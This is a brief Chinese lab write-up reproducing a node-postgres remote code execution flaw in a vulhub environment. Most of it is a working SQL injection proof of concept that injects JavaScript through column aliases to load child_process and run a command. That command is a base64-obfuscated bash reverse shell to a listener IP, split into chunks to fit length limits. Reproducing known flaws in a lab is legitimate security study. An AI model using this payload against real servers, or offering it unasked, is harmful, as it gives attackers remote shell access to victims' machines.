漏洞原理
请参考这篇文章:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
漏洞复现
我这里用的是vulhub的环境,启动环境后,访问http://your-ip:3000/?id=1即可查看到id为1的用户信息,当然id这里存在注入点,我们利用poc来RCE。比如我想执行命令echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEyOC85OSAwPiYx|base64 -d|bash,则需要适当分割该字符串,每段不超过64字符,然后替换一下POC:
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIu`+/*", 4 AS "*/`MTY4LjMwLjEyOC85OSAwPiYx|base64 -d|bash`)//"
然后将其url编码并发送即可执行命令。
485



被折叠的 条评论
为什么被折叠?



